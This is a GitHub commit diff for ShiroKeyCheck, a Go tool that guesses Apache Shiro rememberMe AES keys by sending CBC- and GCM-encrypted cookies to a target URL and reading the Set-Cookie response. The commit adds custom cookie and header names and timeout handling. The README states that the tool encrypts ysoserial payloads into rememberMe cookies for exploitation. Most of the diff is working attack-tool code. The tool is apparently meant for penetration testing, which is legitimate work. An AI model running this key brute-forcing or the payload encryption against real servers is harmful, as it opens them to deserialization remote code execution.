Skip to content

Commit c26e17a

Browse files
committed
update
1 parent 1fd8554 commit c26e17a

File tree

7 files changed

+107
-11
lines changed

7 files changed

+107
-11
lines changed

.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -1 +1,2 @@
11
.DS_Store
2+
.idea/

Function/FindKey.go

+5-4
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package Function
22

33
import (
44
"ShiroKeyCheck/AES_Encrypt"
5+
"ShiroKeyCheck/GlobalVar"
56
"encoding/base64"
67
"fmt"
78
)
@@ -10,16 +11,16 @@ func FindTheKey(Shirokeys string, Content []byte) bool {
1011
key, _ := base64.StdEncoding.DecodeString(Shirokeys)
1112
RememberMe1 := AES_Encrypt.AES_CBC_Encrypt(key, Content) //AES CBC加密
1213
RememberMe2 := AES_Encrypt.AES_GCM_Encrypt(key, Content) //AES GCM加密
13-
if HttpRequset(RememberMe1) {
14+
if HttpRequset2(RememberMe1, Shirokeys, "CBC") {
1415
fmt.Println("Find the Key!")
1516
fmt.Println("[+] CBC-KEY:", Shirokeys)
16-
fmt.Println("[+] rememberMe=", RememberMe1)
17+
fmt.Printf("[+] %s=%s\n", GlobalVar.ReqHeader, RememberMe1)
1718
return true
1819
}
19-
if HttpRequset(RememberMe2) {
20+
if HttpRequset2(RememberMe2, Shirokeys, "GCM") {
2021
fmt.Println("Find the Key!")
2122
fmt.Println("[+] GCM-KEY:", Shirokeys)
22-
fmt.Println("[+] rememberMe=", RememberMe2)
23+
fmt.Printf("[+] %s=%s\n", GlobalVar.ReqHeader, RememberMe2)
2324
return true
2425
}
2526
return false

Function/HttpRequset.go

+73-4
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,15 @@
11
package Function
22

33
import (
4+
"ShiroKeyCheck/GlobalVar"
45
"crypto/tls"
6+
"errors"
57
"fmt"
68
"net/http"
79
"net/url"
810
"os"
911
"strings"
1012
"time"
11-
12-
"ShiroKeyCheck/GlobalVar"
1313
)
1414

1515
func HttpRequset(RememberMe string) bool {
@@ -42,19 +42,88 @@ func HttpRequset(RememberMe string) bool {
4242
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
4343
}
4444
req.Header.Set("User-Agent", GlobalVar.UserAgent)
45-
req.Header.Set("Cookie", "rememberMe="+RememberMe)
45+
req.Header.Set("Cookie", GlobalVar.ReqHeader+"="+RememberMe)
4646
resp, err := client.Do(req)
47+
if err != nil {
48+
var e *url.Error
49+
errors.As(err, &e)
50+
if e.Timeout() {
51+
fmt.Println("[Error] The request timed out, please check the network! ")
52+
os.Exit(1)
53+
} else {
54+
fmt.Println(err)
55+
os.Exit(1)
56+
}
57+
}
58+
defer resp.Body.Close()
59+
//判断rememberMe=deleteMe;是否在响应头中
60+
var SetCookieAll string
61+
for i := range resp.Header["Set-Cookie"] {
62+
SetCookieAll += resp.Header["Set-Cookie"][i]
63+
}
64+
if !strings.Contains(SetCookieAll, GlobalVar.RespHeader+"=deleteMe;") {
65+
return true //内容中不包含rememberMe
66+
} else {
67+
return false
68+
}
69+
}
70+
func HttpRequset2(RememberMe string, Shirokeys string, Mode string) bool {
71+
//设置跳过https证书验证,超时和代理
72+
var tr *http.Transport
73+
if GlobalVar.HttpProxy != "" {
74+
uri, _ := url.Parse(GlobalVar.HttpProxy)
75+
tr = &http.Transport{
76+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
77+
Proxy: http.ProxyURL(uri),
78+
}
79+
} else {
80+
tr = &http.Transport{
81+
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
82+
}
83+
}
84+
client := &http.Client{
85+
Timeout: time.Duration(GlobalVar.Timeout) * time.Second,
86+
Transport: tr,
87+
CheckRedirect: func(req *http.Request, via []*http.Request) error {
88+
return http.ErrUseLastResponse //不允许跳转
89+
}}
90+
req, err := http.NewRequest(strings.ToUpper(GlobalVar.Method), GlobalVar.Url, strings.NewReader(GlobalVar.PostContent))
4791
if err != nil {
4892
fmt.Println(err)
4993
os.Exit(1)
5094
}
95+
//设置请求头
96+
if strings.ToUpper(GlobalVar.Method) == "POST" {
97+
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
98+
}
99+
req.Header.Set("User-Agent", GlobalVar.UserAgent)
100+
req.Header.Set("Cookie", GlobalVar.ReqHeader+"="+RememberMe)
101+
resp, err := client.Do(req)
102+
if err != nil {
103+
var e *url.Error
104+
errors.As(err, &e)
105+
if e.Timeout() {
106+
fmt.Printf("[Error] Request TimeOut! Key is %s ,Mode: %s ,Please test manually: \nrememberMe= %s\n", Shirokeys, Mode, RememberMe)
107+
GlobalVar.Timeoutcount++
108+
if GlobalVar.Timeoutcount >= 3 {
109+
fmt.Println("\n[Error] Request Timeout 3 times in a row, please check the network and try again! \n")
110+
os.Exit(1)
111+
}
112+
return false
113+
} else {
114+
fmt.Println(err)
115+
os.Exit(1)
116+
}
117+
} else {
118+
GlobalVar.Timeoutcount = 0
119+
}
51120
defer resp.Body.Close()
52121
//判断rememberMe=deleteMe;是否在响应头中
53122
var SetCookieAll string
54123
for i := range resp.Header["Set-Cookie"] {
55124
SetCookieAll += resp.Header["Set-Cookie"][i]
56125
}
57-
if !strings.Contains(SetCookieAll, "rememberMe=deleteMe;") {
126+
if !strings.Contains(SetCookieAll, GlobalVar.RespHeader+"=deleteMe;") {
58127
return true //内容中不包含rememberMe
59128
} else {
60129
return false

GlobalVar/Variable.go

+3
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,9 @@ var (
1212
PostContent string
1313
SerFile string
1414
Aes_mode string
15+
RespHeader string
16+
ReqHeader string
1517
Timeout int
1618
Interval int
19+
Timeoutcount int = 0
1720
)

README.md

+9
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,11 @@
22

33
[中文介绍](README.zh_CN.md)
44

5+
2022.8.28 Update content:
6+
1. You can now use the "-reqcookie" parameter to customize the "rememberMe" value sent by default in the cookie field of the request header.
7+
2. You can also use the "-respheader" parameter to customize the "rememberMe" value detected by default in the response header
8+
3. Optimize the detection process
9+
510
Golang development, multi-platform support.
611

712
In order to adapt to different targets and different network conditions, a variety of http request parameters have been added, such as: specified request timeout, each request interval, http proxy.
@@ -34,6 +39,10 @@ Usage of ./ShiroKeyCheck:
3439
Target url(Needed)
3540
-ua string
3641
User-Agent (default "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36")
42+
-reqcookie string
43+
Customize the cookie name in the request packet to be detected (Default detection "rememberMe" string) (default "rememberMe")
44+
-respheader string
45+
Customize the header name in the response packet to be detected (Default detection "rememberMe" string) (default "rememberMe")
3746
```
3847

3948
## keyCheck

README.zh_CN.md

+11
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,10 @@
11
# Shiro key检测
2+
3+
2022.8.28 更新内容:
4+
1. 现在可使用"-reqcookie" 参数自定义请求头的cookie字段默认发送的"rememberMe" 值。
5+
2. 也可使用"-respheader" 参数自定义响应头中默认检测的"rememberMe" 值
6+
3. 对检测过程进行优化
7+
28
golang 开发,多平台支持。
39

410
为了适应不同目标不同网络情况,增加了多种http请求参数,如:指定请求超时时间、每次请求间隔时间、http代理。
@@ -7,6 +13,7 @@ golang 开发,多平台支持。
713

814
支持对ysoserial 生成的payload进行加密,生成rememberMe字段,进行利用。
915

16+
1017
## 用法
1118

1219
```
@@ -31,6 +38,10 @@ Usage of ./ShiroKeyCheck:
3138
目标url(必须)
3239
-ua string
3340
User-Agent (default "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36")
41+
-reqcookie string
42+
自定义检测请求包中的cookie名称(默认值为“rememberMe”)
43+
-respheader string
44+
自定义检测响应包中的header名称(默认值为“rememberMe”)
3445
```
3546
### key检测
3647

main.go

+5-3
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
package main
22

3-
//CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o ShiroKeyCheckLinux main.go
4-
//CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o ShiroKeyCheck.exe main.go
5-
//go build -ldflags="-s -w" -o ShiroKeyCheck main.go && upx -9 server
3+
//CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o ShiroKeyCheck_linux-arm64 main.go
4+
//CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o ShiroKeyCheck_windows-amd64.exe main.go
5+
//go build -ldflags="-s -w" -o ShiroKeyCheck_darwin-arm64 main.go && upx -9 server
66
import (
77
"ShiroKeyCheck/AES_Encrypt"
88
"ShiroKeyCheck/Function"
@@ -29,6 +29,8 @@ func GetCommandArgs() {
2929
flag.StringVar(&GlobalVar.Pointkey, "key", "", "Specify the key and use CBC and GCM modes for detection")
3030
flag.StringVar(&GlobalVar.Aes_mode, "mode", "", "Specify CBC or GCM encryption mode (only valid for -ser parameter)")
3131
flag.StringVar(&GlobalVar.SerFile, "ser", "", "Encrypt the bytecode file to generate the RememberMe field")
32+
flag.StringVar(&GlobalVar.RespHeader, "respheader", "rememberMe", "Customize the header name in the response packet to be detected")
33+
flag.StringVar(&GlobalVar.ReqHeader, "reqcookie", "rememberMe", "Customize the cookie name in the request packet to be detected")
3234

3335
flag.Parse()
3436
}

0 commit comments

Comments
 (0)